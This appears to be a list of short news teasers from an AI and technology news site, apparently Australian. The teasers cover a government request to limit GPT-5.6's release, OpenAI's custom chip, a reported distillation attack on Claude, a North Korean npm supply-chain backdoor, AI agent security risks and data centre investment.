The Trump administration has asked OpenAI to restrict GPT-5.6 to select government-approved partners before wider launch, citing security concerns as the model reaches Mythos-level capability thresholds.
The Trump administration has asked OpenAI to restrict GPT-5.6 to select government-approved partners before wider launch, citing security concerns as the model reaches Mythos-level capability thresholds.
OpenAI revealed Jalapeño, its first custom inference chip co-built with Broadcom in nine months. The move reduces dependence on Nvidia and signals where AI is heading.
The U.S. government has asked OpenAI to limit GPT-5.6 to approved partners before public release — the third frontier model to face pre-approval, setting a clear precedent for AI release policy.
A balanced look at both sides of the China AI debate. Examining censorship, suppression of dissent alongside China's genuine technical achievements in AI development.
Anthropic has accused Alibaba of running the largest known distillation attack against its Claude AI models using 25,000 fake accounts and 28.8 million exchanges. Here is what happened and what it means for Australian enterprises.
OpenAI made a coordinated push to position itself as a serious player in AI security. GPT-5.5-Cyber updates, Patch the Planet initiative, and Codex at scale. The numbers are actually impressive.
AI agents are moving from passive assistants to active participants in the workplace. When connected to email, files, terminals and cloud services, they introduce a new class of security risk that requires governance, not just policies.
Microsoft A$25bn, Amazon A$20bn, OpenAI A$7bn. Australia is in the middle of a data centre boom that will reshape our energy grid, water supply and economy. Here is what the debate actually looks like.
A North Korean state-sponsored group backdoored 144 Mastra AI npm packages with a malicious dayjs typosquat. The postinstall hook ran automatically on npm install, exposing developer machines and CI/CD pipelines to credential theft and full system compromise.
AutoJack, FortiBleed, and evolved LLMjacking show AI agents and self-hosted inference are now live attack surfaces. Here's what enterprises need to patch this week.
